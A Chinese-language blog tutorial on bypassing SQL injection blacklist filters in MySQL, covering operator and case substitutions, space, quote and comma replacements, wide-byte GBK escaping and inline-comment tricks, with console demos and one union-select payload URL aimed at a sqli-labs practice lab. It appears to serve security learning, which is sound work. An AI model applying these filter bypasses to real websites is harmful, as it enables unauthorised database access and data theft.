SQL注入(繞過)

由於Web注入危害比較大,各種防禦技術也會應用而生;程序員在寫代碼的時候會有意識地進行防禦設置或者安全測試來封堵Web注入,但是想要絕對的安全,是比較難實現的。針對黑名單過濾技術,繞過的基本思路就是找到一種可替換的符號或者可替換的邏輯語句(來實現SQL注入);對於白名單技術,雖然實現了安全性,但是可能會阻擋一些客戶端的合法流量,白名單技術一般用在一些形式固定場景。大多數Web網站還是會使用黑名單技術。

一、and與or過濾

(1)替換

or替換||

and替換&&

%26替換and                                //%26是URL中【and】瀏覽器的轉碼

效果如下: 

mysql> select 1=1 or 1=2;
+------------+
| 1=1 or 1=2 |
+------------+
|          1 | 
+------------+
1 row in set (0.00 sec)

mysql> select 1=1 || 1=2;
+------------+
| 1=1 || 1=2 |
+------------+
|          1 | 
+------------+
1 row in set (0.00 sec)

mysql> select 1=1 and 1=2;
+-------------+
| 1=1 and 1=2 |
+-------------+
|           0 | 
+-------------+
1 row in set (0.00 sec)

mysql> select 1=1 && 1=2;
+------------+
| 1=1 && 1=2 |
+------------+
|          0 | 
+------------+
1 row in set (0.00 sec)

(2) 形變或者大小寫

在程序員編寫代碼過濾時可能只會過濾全大寫或者全小寫,我們可以利用大小寫混合的方法進行寫入。

and -》anand                //這種情況是,服務端會將你的【and】字符串過濾掉,我們可以使用形變的方法,讓其過濾後正好出現一個and的字符,這樣還是有一個and會被傳入

and-》AND\And               //大小寫混合

mysql> select 1=1 AND 1=2;
+-------------+
| 1=1 AND 1=2 |
+-------------+
|           0 | 
+-------------+
1 row in set (0.00 sec)

mysql> select 1=1 AnD 1=2;
+-------------+
| 1=1 AnD 1=2 |
+-------------+
|           0 | 
+-------------+
1 row in set (0.00 sec)

2. 空格的繞過

(1)替換,因爲瀏覽器會將URL中的惡特使字符轉碼,所以我們可以直接使用轉碼後的字符。

 %20,%0a,%0b,%0c,%0d,%a0,%00,/**/,/*!*/,(),[]    //這些都能起到隔開命令和語句的作用

例如:
mysql> select(username)from(users);
+----------+
| username |
+----------+
| Dumb     | 
| Angelina | 
| Dummy    | 
| secure   | 
| stupid   | 
| superman | 
| batman   | 
| admin    | 
| admin1   | 
| admin2   | 
| admin3   | 
| dhakkan  | 
| admin4   | 
+----------+
13 rows in set (0.00 sec)

 這一關裏是將空格和註釋符都過濾掉了,所以我們只能在開頭和結尾加上單引號來構造閉合,不能使用註釋符了

http://192.168.67.134/sqli-labs-master/Less-26/?id=0'%a0union%0ball%a0select(1),database(),version()%27

 3. 引號繞過

where schema_name='security'        //有時候不允許直接輸入這些數據庫的名字
替換
where schema_name=0xyyyyyyy         //hex編碼替換
where schema_name=database()        //函數替換

4. 逗號繞過

這裏的思路是去掉逗號,使用一些邏輯語句進行替換,例如用from for/join 語句做邏輯替換。

select mid('abc',1,1);
select mid('abc'from 1 for 1); //用from for替換
效果如下:
mysql> select mid('abc',1,1);
+----------------+
| mid('abc',1,1) |
+----------------+
| a              | 
+----------------+
1 row in set (0.00 sec)
mysql> select mid('abc'from 1 for 1);
+------------------------+
| mid('abc'from 1 for 1) |
+------------------------+
| a                      | 
+------------------------+
1 row in set (0.00 sec)
​
select 1;
select * from (select 1)a;  //替換
效果如下:
mysql> select 1;
+---+
| 1 |
+---+
| 1 | 
+---+
1 row in set (0.00 sec)
mysql> select * from(select 1)a;
+---+
| 1 |
+---+
| 1 | 
+---+
1 row in set (0.00 sec)

​
select 1,2,3;
select * from(select 1)a join(select 2)b join(select 3)c;     //替換
效果如下:
mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 | 
+---+---+---+
1 row in set (0.00 sec)
mysql> select * from(select 1)a join(select 2)b join(select 3)c;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 | 
+---+---+---+
1 row in set (0.00 sec)

5. 等號大於小於號繞過

【=】等價於【like】

select id from users where username='admin';  
select id from users where username like 'admin';        //like替換=
效果如下:
mysql> select password from users where username like 'admin';
+----------+
| password |
+----------+
| admin    | 
+----------+
1 row in set (0.00 sec)

greatest和least                   //比較兩個數,分別輸出較大的值和較小的值

between 1 and 2                 //判斷輸出是否介於1和2之間

mysql> select hex(mid('abc',1,1))>1;
+-----------------------+
| hex(mid('abc',1,1))>1 |
+-----------------------+
|                     1 | 
+-----------------------+
1 row in set (0.00 sec)

mysql> select greatest(hex(mid('abc',1,1)),1) like 61;
+-----------------------------------------+
| greatest(hex(mid('abc',1,1)),1) like 61 |
+-----------------------------------------+
|                                       1 | 
+-----------------------------------------+
1 row in set (0.00 sec)

mysql> select hex(mid('abc',1,1)) between 1 and 61;
+--------------------------------------+
| hex(mid('abc',1,1)) between 1 and 61 |
+--------------------------------------+
|                                    1 | 
+--------------------------------------+
1 row in set (0.00 sec)

6. 等價函數

轉碼函數:hex()、bin()、ascii()

延時函數:sleep()、waifor()、benchmark()

截取函數:mid()、substr()、substring()

7.寬字節注入--繞過單引號,雙引號過濾

原理:GBK 佔用兩字節、ASCII佔用一字節

PHP中編碼爲GBK,函數執行添加的是ASCII編碼(添加的符號爲“\”),MYSQL默認字符集是GBK等寬字節字符集。

大家都知道%df’ 被PHP轉義(開啓GPC、用addslashes函數,或者icov等),
單引號被加上反斜槓\,變成了 %df\’,其中\的十六進制是 %5C ,
那麼現在 %df\’ =%df%5c%27,

如果程序的默認字符集是GBK等寬字節字符集,則MySQL用GBK的編碼時,會認爲 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就成功逃逸了。前一個ascii需要大於128纔到漢子的範圍。

'-->\'  %0a%5c%5c%27 %df%5c%5c%5c%27 縗\\'

8. 內聯註釋繞過

/* */ 在mysql中是多行註釋 但是如果裏面加了! 那麼後面的內容會被執行,比如:通過\*!*\包裹執行語句達到欺騙防禦的目的。

mysql> select 1 /*!and*/ 1=1;
+----------------+
| 1 /*!and*/ 1=1 |
+----------------+
|              1 | 
+----------------+
1 row in set (0.00 sec)

mysql> select 1 /*!and*/ 1=2;
+----------------+
| 1 /*!and*/ 1=2 |
+----------------+
|              0 | 
+----------------+
1 row in set (0.00 sec)

參考

1、寬字節注入詳解:https://blog.csdn.net/qq_43504939/article/details/90108468

附:ascii對照表 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章